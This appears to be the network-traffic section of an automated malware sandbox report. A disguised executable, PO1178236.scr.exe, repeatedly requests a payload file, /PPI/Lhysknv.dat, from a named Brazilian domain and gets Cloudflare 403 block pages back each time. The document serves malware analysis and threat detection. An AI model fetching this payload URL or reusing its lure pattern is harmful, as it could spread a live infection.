2025-01-09 07:28:21 UTC	365	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 Data Ascii: re</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devic
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 Data Ascii: -highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captch
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 63 33 36 63 34 64 30 63 61 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 Data Ascii: ft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5c36c4d0ca2</strong></span> <span class="cf-footer-separator sm:hidden">&
2025-01-09 07:28:21 UTC	997	IN	Data Raw: 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 63 33 36 63 34 64 30 63 61 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d Data Ascii: w._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5c36c4d0ca2',t:'MTczNjQwNzcwMS4wMDAwMDA='};var a=
2025-01-09 07:28:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:21 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:21 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0e2HOjym28hLPaFTQ9B0Fmye%2BuU%2BrzGqnqbynBDSQBhA7RpYFObkG2zCM848I6eYnOMJtU3Jq5EiPwLEtmeF6%2FM4uxVwpGV9lmFf1nKiV23cw%2BHDoDSmmWsI9zdS2pj6AbGDTwF84rkkRq0c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5c719430f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1468&min_rtt=1463&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1937624&cwnd=193&unsent_bytes=0&cid=51c8b1d2d619662b&ts=120&x=0"
2025-01-09 07:28:21 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:21 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 63 37 31 39 34 33 30 66 39 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5c719430f9d</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:21 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 63 37 31 39 34 33 30 66 39 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5c719430f9d',t:'MTczNjQwNzcwMS4wMDAwMDA='};var
2025-01-09 07:28:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:22 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:22 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:37 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eLl88fKDJOGi7kUNScMN9qiZNrFSe8TiYcvVmwaaq%2B2N38fHZwuBkYdnCm43%2FsKWN4LvtjCU9tE0Ll%2FJBP8DErKBzndNr6s9KF%2FIbKXnhm%2FE6C6Ro%2BLcSupvxBHqCA1X81b0af82QIF%2BijuI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5cb2ce50f42-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1468&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1923583&cwnd=180&unsent_bytes=0&cid=3ba0ea6ba401af69&ts=187&x=0"
2025-01-09 07:28:22 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 63 62 32 63 65 35 30 66 34 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5cb2ce50f42</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:22 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 63 62 32 63 65 35 30 66 34 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4d 69 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5cb2ce50f42',t:'MTczNjQwNzcwMi4wMDAwMDA=
2025-01-09 07:28:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:22 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:22 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:37 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZ3KtyFaWKcAaciHVvVftWYFp02xezQkOdSlFmwnhbcoOMzGSEhYhUSAnDv89iiWr7Nm4goJqcWqRTYPMv%2F1eZWSdUUnwRpqwAxJaBXsz9pWgvHbtlEriUmi8%2F%2BOSrevu7iw5F6xpRhmzM3H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5ceea07726b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=1980&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1474747&cwnd=238&unsent_bytes=0&cid=0faba6ca1095efa0&ts=139&x=0"
2025-01-09 07:28:22 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
